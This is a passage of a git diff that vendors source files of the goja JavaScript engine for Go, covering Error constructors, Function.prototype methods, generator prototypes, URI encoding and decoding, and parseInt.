*errorObject) init() { + e.baseObject.init() + vm := e.val.runtime.vm + e.stack = vm.captureStack(make([]StackFrame, 0, len(vm.callStack)+1), 0) +} + +func (r *Runtime) newErrorObject(proto *Object, class string) *errorObject { + obj := &Object{runtime: r} + o := &errorObject{ + baseObject: baseObject{ + class: class, + val: obj, + extensible: true, + prototype: proto, + }, + } + obj.self = o + o.init() + return o +} + +func (r *Runtime) builtin_Error(args []Value, proto *Object) *Object { + obj := r.newErrorObject(proto, classError) + if len(args) > 0 && args[0] != _undefined { + obj._putProp("message", args[0].ToString(), true, false, true) + } + if len(args) > 1 && args[1] != _undefined { + if options, ok := args[1].(*Object); ok { + if options.hasProperty(asciiString("cause")) { + obj.defineOwnPropertyStr("cause", PropertyDescriptor{ + Writable: FLAG_TRUE, + Enumerable: FLAG_FALSE, + Configurable: FLAG_TRUE, + Value: options.Get("cause"), + }, true) + } + } + } + return obj.val +} + +func (r *Runtime) builtin_AggregateError(args []Value, proto *Object) *Object { + obj := r.newErrorObject(proto, classError) + if len(args) > 1 && args[1] != nil && args[1] != _undefined { + obj._putProp("message", args[1].toString(), true, false, true) + } + var errors []Value + if len(args) > 0 { + errors = r.iterableToList(args[0], nil) + } + obj._putProp("errors", r.newArrayValues(errors), true, false, true) + + if len(args) > 2 && args[2] != _undefined { + if options, ok := args[2].(*Object); ok { + if options.hasProperty(asciiString("cause")) { + obj.defineOwnPropertyStr("cause", PropertyDescriptor{ + Writable: FLAG_TRUE, + Enumerable: FLAG_FALSE, + Configurable: FLAG_TRUE, + Value: options.Get("cause"), + }, true) + } + } + } + + return obj.val +} + +func writeErrorString(sb *StringBuilder, obj *Object) String { + var nameStr, msgStr String + name := obj.self.getStr("name", nil) + if name == nil || name == _undefined { + nameStr = asciiString("Error") + } else { + nameStr = name.toString() + } + msg := obj.self.getStr("message", nil) + if msg == nil || msg == _undefined { + msgStr = stringEmpty + } else { + msgStr = msg.toString() + } + if nameStr.Length() == 0 { + return msgStr + } + if msgStr.Length() == 0 { + return nameStr + } + sb.WriteString(nameStr) + sb.WriteString(asciiString(": ")) + sb.WriteString(msgStr) + return nil +} + +func (r *Runtime) error_toString(call FunctionCall) Value { + var sb StringBuilder + val := writeErrorString(&sb, r.toObject(call.This)) + if val != nil { + return val + } + return sb.String() +} + +func (r *Runtime) createErrorPrototype(name String, ctor *Object) *Object { + o := r.newBaseObject(r.getErrorPrototype(), classObject) + o._putProp("message", stringEmpty, true, false, true) + o._putProp("name", name, true, false, true) + o._putProp("constructor", ctor, true, false, true) + return o.val +} + +func (r *Runtime) getErrorPrototype() *Object { + ret := r.global.ErrorPrototype + if ret == nil { + ret = r.NewObject() + r.global.ErrorPrototype = ret + o := ret.self + o._putProp("message", stringEmpty, true, false, true) + o._putProp("name", stringError, true, false, true) + o._putProp("toString", r.newNativeFunc(r.error_toString, "toString", 0), true, false, true) + o._putProp("constructor", r.getError(), true, false, true) + } + return ret +} + +func (r *Runtime) getError() *Object { + ret := r.global.Error + if ret == nil { + ret = &Object{runtime: r} + r.global.Error = ret + r.newNativeFuncConstruct(ret, r.builtin_Error, "Error", r.getErrorPrototype(), 1) + } + return ret +} + +func (r *Runtime) getAggregateError() *Object { + ret := r.global.AggregateError + if ret == nil { + ret = &Object{runtime: r} + r.global.AggregateError = ret + r.newNativeFuncConstructProto(ret, r.builtin_AggregateError, "AggregateError", r.createErrorPrototype(stringAggregateError, ret), r.getError(), 2) + } + return ret +} + +func (r *Runtime) getTypeError() *Object { + ret := r.global.TypeError + if ret == nil { + ret = &Object{runtime: r} + r.global.TypeError = ret + r.newNativeFuncConstructProto(ret, r.builtin_Error, "TypeError", r.createErrorPrototype(stringTypeError, ret), r.getError(), 1) + } + return ret +} + +func (r *Runtime) getReferenceError() *Object { + ret := r.global.ReferenceError + if ret == nil { + ret = &Object{runtime: r} + r.global.ReferenceError = ret + r.newNativeFuncConstructProto(ret, r.builtin_Error, "ReferenceError", r.createErrorPrototype(stringReferenceError, ret), r.getError(), 1) + } + return ret +} + +func (r *Runtime) getSyntaxError() *Object { + ret := r.global.SyntaxError + if ret == nil { + ret = &Object{runtime: r} + r.global.SyntaxError = ret + r.newNativeFuncConstructProto(ret, r.builtin_Error, "SyntaxError", r.createErrorPrototype(stringSyntaxError, ret), r.getError(), 1) + } + return ret +} + +func (r *Runtime) getRangeError() *Object { + ret := r.global.RangeError + if ret == nil { + ret = &Object{runtime: r} + r.global.RangeError = ret + r.newNativeFuncConstructProto(ret, r.builtin_Error, "RangeError", r.createErrorPrototype(stringRangeError, ret), r.getError(), 1) + } + return ret +} + +func (r *Runtime) getEvalError() *Object { + ret := r.global.EvalError + if ret == nil { + ret = &Object{runtime: r} + r.global.EvalError = ret + r.newNativeFuncConstructProto(ret, r.builtin_Error, "EvalError", r.createErrorPrototype(stringEvalError, ret), r.getError(), 1) + } + return ret +} + +func (r *Runtime) getURIError() *Object { + ret := r.global.URIError + if ret == nil { + ret = &Object{runtime: r} + r.global.URIError = ret + r.newNativeFuncConstructProto(ret, r.builtin_Error, "URIError", r.createErrorPrototype(stringURIError, ret), r.getError(), 1) + } + return ret +} + +func (r *Runtime) getGoError() *Object { + ret := r.global.GoError + if ret == nil { + ret = &Object{runtime: r} + r.global.GoError = ret + r.newNativeFuncConstructProto(ret, r.builtin_Error, "GoError", r.createErrorPrototype(stringGoError, ret), r.getError(), 1) + } + return ret +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_function.go b/backend/vendor/github.com/dop251/goja/builtin_function.go new file mode 100644 index 0000000..79cb2c2 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_function.go @@ -0,0 +1,418 @@ +package goja + +import ( + "math" + "sync" +) + +func (r *Runtime) functionCtor(args []Value, proto *Object, async, generator bool) *Object { + var sb StringBuilder + if async { + if generator { + sb.WriteString(asciiString("(async function* anonymous(")) + } else { + sb.WriteString(asciiString("(async function anonymous(")) + } + } else { + if generator { + sb.WriteString(asciiString("(function* anonymous(")) + } else { + sb.WriteString(asciiString("(function anonymous(")) + } + } + if len(args) > 1 { + ar := args[:len(args)-1] + for i, arg := range ar { + sb.WriteString(arg.toString()) + if i < len(ar)-1 { + sb.WriteRune(',') + } + } + } + sb.WriteString(asciiString("\n) {\n")) + if len(args) > 0 { + sb.WriteString(args[len(args)-1].toString()) + } + sb.WriteString(asciiString("\n})")) + + ret := r.toObject(r.eval(sb.String(), false, false)) + ret.self.setProto(proto, true) + return ret +} + +func (r *Runtime) builtin_Function(args []Value, proto *Object) *Object { + return r.functionCtor(args, proto, false, false) +} + +func (r *Runtime) builtin_asyncFunction(args []Value, proto *Object) *Object { + return r.functionCtor(args, proto, true, false) +} + +func (r *Runtime) builtin_generatorFunction(args []Value, proto *Object) *Object { + return r.functionCtor(args, proto, false, true) +} + +func (r *Runtime) functionproto_toString(call FunctionCall) Value { + obj := r.toObject(call.This) + switch f := obj.self.(type) { + case funcObjectImpl: + return f.source() + case *proxyObject: + if _, ok := f.target.self.(funcObjectImpl); ok { + return asciiString("function () { [native code] }") + } + } + panic(r.NewTypeError("Function.prototype.toString requires that 'this' be a Function")) +} + +func (r *Runtime) functionproto_hasInstance(call FunctionCall) Value { + if o, ok := call.This.(*Object); ok { + if _, ok = o.self.assertCallable(); ok { + return r.toBoolean(o.self.hasInstance(call.Argument(0))) + } + } + + return valueFalse +} + +func (r *Runtime) createListFromArrayLike(a Value) []Value { + o := r.toObject(a) + if arr := r.checkStdArrayObj(o); arr != nil { + return arr.values + } + l := toLength(o.self.getStr("length", nil)) + res := make([]Value, 0, l) + for k := int64(0); k < l; k++ { + res = append(res, nilSafe(o.self.getIdx(valueInt(k), nil))) + } + return res +} + +func (r *Runtime) functionproto_apply(call FunctionCall) Value { + var args []Value + + argArray := call.Argument(1) + if !IsUndefined(argArray) && !IsNull(argArray) { + args = r.createListFromArrayLike(argArray) + } + + f := r.toCallable(call.This) + return f(FunctionCall{ + This: call.Argument(0), + Arguments: args, + }) +} + +func (r *Runtime) functionproto_call(call FunctionCall) Value { + var args []Value + if len(call.Arguments) > 0 { + args = call.Arguments[1:] + } + + f := r.toCallable(call.This) + return f(FunctionCall{ + This: call.Argument(0), + Arguments: args, + }) +} + +func (r *Runtime) boundCallable(target func(FunctionCall) Value, boundArgs []Value) func(FunctionCall) Value { + var this Value + var args []Value + if len(boundArgs) > 0 { + this = boundArgs[0] + args = make([]Value, len(boundArgs)-1) + copy(args, boundArgs[1:]) + } else { + this = _undefined + } + return func(call FunctionCall) Value { + a := append(args, call.Arguments...) + return target(FunctionCall{ + This: this, + Arguments: a, + }) + } +} + +func (r *Runtime) boundConstruct(f *Object, target func([]Value, *Object) *Object, boundArgs []Value) func([]Value, *Object) *Object { + if target == nil { + return nil + } + var args []Value + if len(boundArgs) > 1 { + args = make([]Value, len(boundArgs)-1) + copy(args, boundArgs[1:]) + } + return func(fargs []Value, newTarget *Object) *Object { + a := append(args, fargs...) + if newTarget == f { + newTarget = nil + } + return target(a, newTarget) + } +} + +func (r *Runtime) functionproto_bind(call FunctionCall) Value { + obj := r.toObject(call.This) + + fcall := r.toCallable(call.This) + construct := obj.self.assertConstructor() + + var l = _positiveZero + if obj.self.hasOwnPropertyStr("length") { + var li int64 + switch lenProp := nilSafe(obj.self.getStr("length", nil)).(type) { + case valueInt: + li = lenProp.ToInteger() + case valueFloat: + switch lenProp { + case _positiveInf: + l = lenProp + goto lenNotInt + case _negativeInf: + goto lenNotInt + case _negativeZero: + // no-op, li == 0 + default: + if !math.IsNaN(float64(lenProp)) { + li = int64(math.Abs(float64(lenProp))) + } // else li = 0 + } + } + if len(call.Arguments) > 1 { + li -= int64(len(call.Arguments)) - 1 + } + if li < 0 { + li = 0 + } + l = intToValue(li) + } +lenNotInt: + name := obj.self.getStr("name", nil) + nameStr := stringBound_ + if s, ok := name.(String); ok { + nameStr = nameStr.Concat(s) + } + + v := &Object{runtime: r} + ff := r.newNativeFuncAndConstruct(v, r.boundCallable(fcall, call.Arguments), r.boundConstruct(v, construct, call.Arguments), nil, nameStr.string(), l) + bf := &boundFuncObject{ + nativeFuncObject: *ff, + wrapped: obj, + } + bf.prototype = obj.self.proto() + v.self = bf + + return v +} + +func (r *Runtime) getThrower() *Object { + ret := r.global.thrower + if ret == nil { + ret = r.newNativeFunc(r.builtin_thrower, "", 0) + r.global.thrower = ret + r.object_freeze(FunctionCall{Arguments: []Value{ret}}) + } + return ret +} + +func (r *Runtime) newThrowerProperty(configurable bool) Value { + thrower := r.getThrower() + return &valueProperty{ + getterFunc: thrower, + setterFunc: thrower, + accessor: true, + configurable: configurable, + } +} + +func createFunctionProtoTemplate() *objectTemplate { + t := newObjectTemplate() + t.protoFactory = func(r *Runtime) *Object { + return r.global.ObjectPrototype + } + + t.putStr("constructor", func(r *Runtime) Value { return valueProp(r.getFunction(), true, false, true) }) + + t.putStr("length", func(r *Runtime) Value { return valueProp(_positiveZero, false, false, true) }) + t.putStr("name", func(r *Runtime) Value { return valueProp(stringEmpty, false, false, true) }) + + t.putStr("apply", func(r *Runtime) Value { return r.methodProp(r.functionproto_apply, "apply", 2) }) + t.putStr("bind", func(r *Runtime) Value { return r.methodProp(r.functionproto_bind, "bind", 1) }) + t.putStr("call", func(r *Runtime) Value { return r.methodProp(r.functionproto_call, "call", 1) }) + t.putStr("toString", func(r *Runtime) Value { return r.methodProp(r.functionproto_toString, "toString", 0) }) + + t.putStr("caller", func(r *Runtime) Value { return r.newThrowerProperty(true) }) + t.putStr("arguments", func(r *Runtime) Value { return r.newThrowerProperty(true) }) + + t.putSym(SymHasInstance, func(r *Runtime) Value { + return valueProp(r.newNativeFunc(r.functionproto_hasInstance, "[Symbol.hasInstance]", 1), false, false, false) + }) + + return t +} + +var functionProtoTemplate *objectTemplate +var functionProtoTemplateOnce sync.Once + +func getFunctionProtoTemplate() *objectTemplate { + functionProtoTemplateOnce.Do(func() { + functionProtoTemplate = createFunctionProtoTemplate() + }) + return functionProtoTemplate +} + +func (r *Runtime) getFunctionPrototype() *Object { + ret := r.global.FunctionPrototype + if ret == nil { + ret = &Object{runtime: r} + r.global.FunctionPrototype = ret + r.newTemplatedFuncObject(getFunctionProtoTemplate(), ret, func(FunctionCall) Value { + return _undefined + }, nil) + } + return ret +} + +func (r *Runtime) createFunction(v *Object) objectImpl { + return r.newNativeFuncConstructObj(v, r.builtin_Function, "Function", r.getFunctionPrototype(), 1) +} + +func (r *Runtime) createAsyncFunctionProto(val *Object) objectImpl { + o := &baseObject{ + class: classObject, + val: val, + extensible: true, + prototype: r.getFunctionPrototype(), + } + o.init() + + o._putProp("constructor", r.getAsyncFunction(), true, false, true) + + o._putSym(SymToStringTag, valueProp(asciiString(classAsyncFunction), false, false, true)) + + return o +} + +func (r *Runtime) getAsyncFunctionPrototype() *Object { + var o *Object + if o = r.global.AsyncFunctionPrototype; o == nil { + o = &Object{runtime: r} + r.global.AsyncFunctionPrototype = o + o.self = r.createAsyncFunctionProto(o) + } + return o +} + +func (r *Runtime) createAsyncFunction(val *Object) objectImpl { + o := r.newNativeFuncConstructObj(val, r.builtin_asyncFunction, "AsyncFunction", r.getAsyncFunctionPrototype(), 1) + + return o +} + +func (r *Runtime) getAsyncFunction() *Object { + var o *Object + if o = r.global.AsyncFunction; o == nil { + o = &Object{runtime: r} + r.global.AsyncFunction = o + o.self = r.createAsyncFunction(o) + } + return o +} + +func (r *Runtime) builtin_genproto_next(call FunctionCall) Value { + if o, ok := call.This.(*Object); ok { + if gen, ok := o.self.(*generatorObject); ok { + return gen.next(call.Argument(0)) + } + } + panic(r.NewTypeError("Method [Generator].prototype.next called on incompatible receiver")) +} + +func (r *Runtime) builtin_genproto_return(call FunctionCall) Value { + if o, ok := call.This.(*Object); ok { + if gen, ok := o.self.(*generatorObject); ok { + return gen._return(call.Argument(0)) + } + } + panic(r.NewTypeError("Method [Generator].prototype.return called on incompatible receiver")) +} + +func (r *Runtime) builtin_genproto_throw(call FunctionCall) Value { + if o, ok := call.This.(*Object); ok { + if gen, ok := o.self.(*generatorObject); ok { + return gen.throw(call.Argument(0)) + } + } + panic(r.NewTypeError("Method [Generator].prototype.throw called on incompatible receiver")) +} + +func (r *Runtime) createGeneratorFunctionProto(val *Object) objectImpl { + o := newBaseObjectObj(val, r.getFunctionPrototype(), classObject) + + o._putProp("constructor", r.getGeneratorFunction(), false, false, true) + o._putProp("prototype", r.getGeneratorPrototype(), false, false, true) + o._putSym(SymToStringTag, valueProp(asciiString(classGeneratorFunction), false, false, true)) + + return o +} + +func (r *Runtime) getGeneratorFunctionPrototype() *Object { + var o *Object + if o = r.global.GeneratorFunctionPrototype; o == nil { + o = &Object{runtime: r} + r.global.GeneratorFunctionPrototype = o + o.self = r.createGeneratorFunctionProto(o) + } + return o +} + +func (r *Runtime) createGeneratorFunction(val *Object) objectImpl { + o := r.newNativeFuncConstructObj(val, r.builtin_generatorFunction, "GeneratorFunction", r.getGeneratorFunctionPrototype(), 1) + return o +} + +func (r *Runtime) getGeneratorFunction() *Object { + var o *Object + if o = r.global.GeneratorFunction; o == nil { + o = &Object{runtime: r} + r.global.GeneratorFunction = o + o.self = r.createGeneratorFunction(o) + } + return o +} + +func (r *Runtime) createGeneratorProto(val *Object) objectImpl { + o := newBaseObjectObj(val, r.getIteratorPrototype(), classObject) + + o._putProp("constructor", r.getGeneratorFunctionPrototype(), false, false, true) + o._putProp("next", r.newNativeFunc(r.builtin_genproto_next, "next", 1), true, false, true) + o._putProp("return", r.newNativeFunc(r.builtin_genproto_return, "return", 1), true, false, true) + o._putProp("throw", r.newNativeFunc(r.builtin_genproto_throw, "throw", 1), true, false, true) + + o._putSym(SymToStringTag, valueProp(asciiString(classGenerator), false, false, true)) + + return o +} + +func (r *Runtime) getGeneratorPrototype() *Object { + var o *Object + if o = r.global.GeneratorPrototype; o == nil { + o = &Object{runtime: r} + r.global.GeneratorPrototype = o + o.self = r.createGeneratorProto(o) + } + return o +} + +func (r *Runtime) getFunction() *Object { + ret := r.global.Function + if ret == nil { + ret = &Object{runtime: r} + r.global.Function = ret + ret.self = r.createFunction(ret) + } + + return ret +} diff --git a/backend/vendor/github.com/dop251/goja/builtin_global.go b/backend/vendor/github.com/dop251/goja/builtin_global.go new file mode 100644 index 0000000..2c6385a --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_global.go @@ -0,0 +1,576 @@ +package goja + +import ( + "errors" + "io" + "math" + "regexp" + "strconv" + "strings" + "sync" + "unicode/utf8" + + "github.com/dop251/goja/unistring" +) + +const hexUpper = "0123456789ABCDEF" + +var ( + parseFloatRegexp = regexp.MustCompile(`^([+-]?(?:Infinity|[0-9]*\.?[0-9]*(?:[eE][+-]?[0-9]+)?))`) +) + +func (r *Runtime) builtin_isNaN(call FunctionCall) Value { + if math.IsNaN(call.Argument(0).ToFloat()) { + return valueTrue + } else { + return valueFalse + } +} + +func (r *Runtime) builtin_parseInt(call FunctionCall) Value { + str := call.Argument(0).toString().toTrimmedUTF8() + radix := int(toInt32(call.Argument(1))) + v, _ := parseInt(str, radix) + return v +} + +func (r *Runtime) builtin_parseFloat(call FunctionCall) Value { + m := parseFloatRegexp.FindStringSubmatch(call.Argument(0).toString().toTrimmedUTF8()) + if len(m) == 2 { + if s := m[1]; s != "" && s != "+" && s != "-" { + switch s { + case "+", "-": + case "Infinity", "+Infinity": + return _positiveInf + case "-Infinity": + return _negativeInf + default: + f, err := strconv.ParseFloat(s, 64) + if err == nil || isRangeErr(err) { + return floatToValue(f) + } + } + } + } + return _NaN +} + +func (r *Runtime) builtin_isFinite(call FunctionCall) Value { + f := call.Argument(0).ToFloat() + if math.IsNaN(f) || math.IsInf(f, 0) { + return valueFalse + } + return valueTrue +} + +func (r *Runtime) _encode(uriString String, unescaped *[256]bool) String { + reader := uriString.Reader() + utf8Buf := make([]byte, utf8.UTFMax) + needed := false + l := 0 + for { + rn, _, err := reader.ReadRune() + if err != nil { + if err != io.EOF { + panic(r.newError(r.getURIError(), "Malformed URI")) + } + break + } + + if rn >= utf8.RuneSelf { + needed = true + l += utf8.EncodeRune(utf8Buf, rn) * 3 + } else if !unescaped[rn] { + needed = true + l += 3 + } else { + l++ + } + } + + if !needed { + return uriString + } + + buf := make([]byte, l) + i := 0 + reader = uriString.Reader() + for { + rn, _, err := reader.ReadRune() + if err == io.EOF { + break + } + + if rn >= utf8.RuneSelf { + n := utf8.EncodeRune(utf8Buf, rn) + for _, b := range utf8Buf[:n] { + buf[i] = '%' + buf[i+1] = hexUpper[b>>4] + buf[i+2] = hexUpper[b&15] + i += 3 + } + } else if !unescaped[rn] { + buf[i] = '%' + buf[i+1] = hexUpper[rn>>4] + buf[i+2] = hexUpper[rn&15] + i += 3 + } else { + buf[i] = byte(rn) + i++ + } + } + return asciiString(buf) +} + +func (r *Runtime) _decode(sv String, reservedSet *[256]bool) String { + s := sv.String() + hexCount := 0 + for i := 0; i < len(s); { + switch s[i] { + case '%': + if i+2 >= len(s) || !ishex(s[i+1]) || !ishex(s[i+2]) { + panic(r.newError(r.getURIError(), "Malformed URI")) + } + c := unhex(s[i+1])<<4 | unhex(s[i+2]) + if !reservedSet[c] { + hexCount++ + } + i += 3 + default: + i++ + } + } + + if hexCount == 0 { + return sv + } + + t := make([]byte, len(s)-hexCount*2) + j := 0 + isUnicode := false + for i := 0; i < len(s); { + ch := s[i] + switch ch { + case '%': + c := unhex(s[i+1])<<4 | unhex(s[i+2]) + if reservedSet[c] { + t[j] = s[i] + t[j+1] = s[i+1] + t[j+2] = s[i+2] + j += 3 + } else { + t[j] = c + if c >= utf8.RuneSelf { + isUnicode = true + } + j++ + } + i += 3 + default: + if ch >= utf8.RuneSelf { + isUnicode = true + } + t[j] = ch + j++ + i++ + } + } + + if !isUnicode { + return asciiString(t) + } + + us := make([]rune, 0, len(s)) + for len(t) > 0 { + rn, size := utf8.DecodeRune(t) + if rn == utf8.RuneError { + if size != 3 || t[0] != 0xef || t[1] != 0xbf || t[2] != 0xbd { + panic(r.newError(r.getURIError(), "Malformed URI")) + } + } + us = append(us, rn) + t = t[size:] + } + return unicodeStringFromRunes(us) +} + +func ishex(c byte) bool { + switch { + case '0' <= c && c <= '9': + return true + case 'a' <= c && c <= 'f': + return true + case 'A' <= c && c <= 'F': + return true + } + return false +} + +func unhex(c byte) byte { + switch { + case '0' <= c && c <= '9': + return c - '0' + case 'a' <= c && c <= 'f': + return c - 'a' + 10 + case 'A' <= c && c <= 'F': + return c - 'A' + 10 + } + return 0 +} + +func (r *Runtime) builtin_decodeURI(call FunctionCall) Value { + uriString := call.Argument(0).toString() + return r._decode(uriString, &uriReservedHash) +} + +func (r *Runtime) builtin_decodeURIComponent(call FunctionCall) Value { + uriString := call.Argument(0).toString() + return r._decode(uriString, &emptyEscapeSet) +} + +func (r *Runtime) builtin_encodeURI(call FunctionCall) Value { + uriString := call.Argument(0).toString() + return r._encode(uriString, &uriReservedUnescapedHash) +} + +func (r *Runtime) builtin_encodeURIComponent(call FunctionCall) Value { + uriString := call.Argument(0).toString() + return r._encode(uriString, &uriUnescaped) +} + +func (r *Runtime) builtin_escape(call FunctionCall) Value { + s := call.Argument(0).toString() + var sb strings.Builder + l := s.Length() + for i := 0; i < l; i++ { + r := s.CharAt(i) + if r >= 'A' && r <= 'Z' || r >= 'a' && r <= 'z' || r >= '0' && r <= '9' || + r == '@' || r == '*' || r == '_' || r == '+' || r == '-' || r == '.' || r == '/' { + sb.WriteByte(byte(r)) + } else if r <= 0xff { + sb.WriteByte('%') + sb.WriteByte(hexUpper[r>>4]) + sb.WriteByte(hexUpper[r&0xf]) + } else { + sb.WriteString("%u") + sb.WriteByte(hexUpper[r>>12]) + sb.WriteByte(hexUpper[(r>>8)&0xf]) + sb.WriteByte(hexUpper[(r>>4)&0xf]) + sb.WriteByte(hexUpper[r&0xf]) + } + } + return asciiString(sb.String()) +} + +func (r *Runtime) builtin_unescape(call FunctionCall) Value { + s := call.Argument(0).toString() + l := s.Length() + var asciiBuf []byte + var unicodeBuf []uint16 + _, u := devirtualizeString(s) + unicode := u != nil + if unicode { + unicodeBuf = make([]uint16, 1, l+1) + unicodeBuf[0] = unistring.BOM + } else { + asciiBuf = make([]byte, 0, l) + } + for i := 0; i < l; { + r := s.CharAt(i) + if r == '%' { + if i <= l-6 && s.CharAt(i+1) == 'u' { + c0 := s.CharAt(i + 2) + c1 := s.CharAt(i + 3) + c2 := s.CharAt(i + 4) + c3 := s.CharAt(i + 5) + if c0 <= 0xff && ishex(byte(c0)) && + c1 <= 0xff && ishex(byte(c1)) && + c2 <= 0xff && ishex(byte(c2)) && + c3 <= 0xff && ishex(byte(c3)) { + r = uint16(unhex(byte(c0)))<<12 | + uint16(unhex(byte(c1)))<<8 | + uint16(unhex(byte(c2)))<<4 | + uint16(unhex(byte(c3))) + i += 5 + goto out + } + } + if i <= l-3 { + c0 := s.CharAt(i + 1) + c1 := s.CharAt(i + 2) + if c0 <= 0xff && ishex(byte(c0)) && + c1 <= 0xff && ishex(byte(c1)) { + r = uint16(unhex(byte(c0))<<4 | unhex(byte(c1))) + i += 2 + } + } + } + out: + if r >= utf8.RuneSelf && !unicode { + unicodeBuf = make([]uint16, 1, l+1) + unicodeBuf[0] = unistring.BOM + for _, b := range asciiBuf { + unicodeBuf = append(unicodeBuf, uint16(b)) + } + asciiBuf = nil + unicode = true + } + if unicode { + unicodeBuf = append(unicodeBuf, r) + } else { + asciiBuf = append(asciiBuf, byte(r)) + } + i++ + } + if unicode { + return unicodeString(unicodeBuf) + } + + return asciiString(asciiBuf) +} + +func createGlobalObjectTemplate() *objectTemplate { + t := newObjectTemplate() + t.protoFactory = func(r *Runtime) *Object { + return r.global.ObjectPrototype + } + + t.putStr("Object", func(r *Runtime) Value { return valueProp(r.getObject(), true, false, true) }) + t.putStr("Function", func(r *Runtime) Value { return valueProp(r.getFunction(), true, false, true) }) + t.putStr("Array", func(r *Runtime) Value { return valueProp(r.getArray(), true, false, true) }) + t.putStr("String", func(r *Runtime) Value { return valueProp(r.getString(), true, false, true) }) + t.putStr("Number", func(r *Runtime) Value { return valueProp(r.getNumber(), true, false, true) }) + t.putStr("BigInt", func(r *Runtime) Value { return valueProp(r.getBigInt(), true, false, true) }) + t.putStr("RegExp", func(r *Runtime) Value { return valueProp(r.getRegExp(), true, false, true) }) + t.putStr("Date", func(r *Runtime) Value { return valueProp(r.getDate(), true, false, true) }) + t.putStr("Boolean", func(r *Runtime) Value { return valueProp(r.getBoolean(), true, false, true) }) + t.putStr("Proxy", func(r *Runtime) Value { return valueProp(r.getProxy(), true, false, true) }) + t.putStr("Reflect", func(r *Runtime) Value { return valueProp(r.getReflect(), true, false, true) }) + t.putStr("Error", func(r *Runtime) Value { return valueProp(r.getError(), true, false, true) }) + t.putStr("AggregateError", func(r *Runtime) Value { return valueProp(r.getAggregateError(), true, false, true) }) + t.putStr("TypeError", func(r *Runtime) Value { return valueProp(r.getTypeError(), true, false, true) }) + t.putStr("ReferenceError", func(r *Runtime) Value { return valueProp(r.getReferenceError(), true, false, true) }) + t.putStr("SyntaxError", func(r *Runtime) Value { return valueProp(r.getSyntaxError(), true, false, true) }) + t.putStr("RangeError", func(r *Runtime) Value { return valueProp(r.getRangeError(), true, false, true) }) + t.putStr("EvalError", func(r *Runtime) Value { return valueProp(r.getEvalError(), true, false, true) }) + t.putStr("URIError", func(r *Runtime) Value { return valueProp(r.getURIError(), true, false, true) }) + t.putStr("GoError", func(r *Runtime) Value { return valueProp(r.getGoError(), true, false, true) }) + + t.putStr("eval", func(r *Runtime) Value { return valueProp(r.getEval(), true, false, true) }) + + t.putStr("Math", func(r *Runtime) Value { return valueProp(r.getMath(), true, false, true) }) + t.putStr("JSON", func(r *Runtime) Value { return valueProp(r.getJSON(), true, false, true) }) + addTypedArrays(t) + t.putStr("Symbol", func(r *Runtime) Value { return valueProp(r.getSymbol(), true, false, true) }) + t.putStr("WeakSet", func(r *Runtime) Value { return valueProp(r.getWeakSet(), true, false, true) }) + t.putStr("WeakMap", func(r *Runtime) Value { return valueProp(r.getWeakMap(), true, false, true) }) + t.putStr("Map", func(r *Runtime) Value { return valueProp(r.getMap(), true, false, true) }) + t.putStr("Set", func(r *Runtime) Value { return valueProp(r.getSet(), true, false, true) }) + t.putStr("Promise", func(r *Runtime) Value { return valueProp(r.getPromise(), true, false, true) }) + + t.putStr("globalThis", func(r *Runtime) Value { return valueProp(r.globalObject, true, false, true) }) + t.putStr("NaN", func(r *Runtime) Value { return valueProp(_NaN, false, false, false) }) + t.putStr("undefined", func(r *Runtime) Value { return valueProp(_undefined, false, false, false) }) + t.putStr("Infinity", func(r *Runtime) Value { return valueProp(_positiveInf, false, false, false) }) + + t.putStr("isNaN", func(r *Runtime) Value { return r.methodProp(r.builtin_isNaN, "isNaN", 1) }) + t.putStr("parseInt", func(r *Runtime) Value { return valueProp(r.getParseInt(), true, false, true) }) + t.putStr("parseFloat", func(r *Runtime) Value { return valueProp(r.getParseFloat(), true, false, true) }) + t.putStr("isFinite", func(r *Runtime) Value { return r.methodProp(r.builtin_isFinite, "isFinite", 1) }) + t.putStr("decodeURI", func(r *Runtime) Value { return r.methodProp(r.builtin_decodeURI, "decodeURI", 1) }) + t.putStr("decodeURIComponent", func(r *Runtime) Value { return r.methodProp(r.builtin_decodeURIComponent, "decodeURIComponent", 1) }) + t.putStr("encodeURI", func(r *Runtime) Value { return r.methodProp(r.builtin_encodeURI, "encodeURI", 1) }) + t.putStr("encodeURIComponent", func(r *Runtime) Value { return r.methodProp(r.builtin_encodeURIComponent, "encodeURIComponent", 1) }) + t.putStr("escape", func(r *Runtime) Value { return r.methodProp(r.builtin_escape, "escape", 1) }) + t.putStr("unescape", func(r *Runtime) Value { return r.methodProp(r.builtin_unescape, "unescape", 1) }) + + // TODO: Annex B + + t.putSym(SymToStringTag, func(r *Runtime) Value { return valueProp(asciiString(classGlobal), false, false, true) }) + + return t +} + +var globalObjectTemplate *objectTemplate +var globalObjectTemplateOnce sync.Once + +func getGlobalObjectTemplate() *objectTemplate { + globalObjectTemplateOnce.Do(func() { + globalObjectTemplate = createGlobalObjectTemplate() + }) + return globalObjectTemplate +} + +func (r *Runtime) getEval() *Object { + ret := r.global.Eval + if ret == nil { + ret = r.newNativeFunc(r.builtin_eval, "eval", 1) + r.global.Eval = ret + } + return ret +} + +func digitVal(d byte) int { + var v byte + switch { + case '0' <= d && d <= '9': + v = d - '0' + case 'a' <= d && d <= 'z': + v = d - 'a' + 10 + case 'A' <= d && d <= 'Z': + v = d - 'A' + 10 + default: + return 36 + } + return int(v) +} + +// ECMAScript compatible version of strconv.ParseInt +func parseInt(s string, base int) (Value, error) { + var n int64 + var err error + var cutoff, maxVal int64 + var sign bool + i := 0 + + if len(s) < 1 { + err = strconv.ErrSyntax + goto Error + } + + switch s[0] { + case '-': + sign = true + s = s[1:] + case '+': + s = s[1:] + } + + if len(s) < 1 { + err = strconv.ErrSyntax + goto Error + } + + // Look for hex prefix. + if s[0] == '0' && len(s) > 1 && (s[1] == 'x' || s[1] == 'X') { + if base == 0 || base == 16 { + base = 16 + s = s[2:] + } + } + + switch { + case len(s) < 1: + err = strconv.ErrSyntax + goto Error + + case 2 <= base && base <= 36: + // valid base; nothing to do + + case base == 0: + // Look for hex prefix. + switch { + case s[0] == '0' && len(s) > 1 && (s[1] == 'x' || s[1] == 'X'): + if len(s) < 3 { + err = strconv.ErrSyntax + goto Error + } + base = 16 + s = s[2:] + default: + base = 10 + } + + default: + err = errors.New("invalid base " + strconv.Itoa(base)) + goto Error + } + + // Cutoff is the smallest number such that cutoff*base > maxInt64. + // Use compile-time constants for common cases. + switch base { + case 10: + cutoff = math.MaxInt64/10 + 1 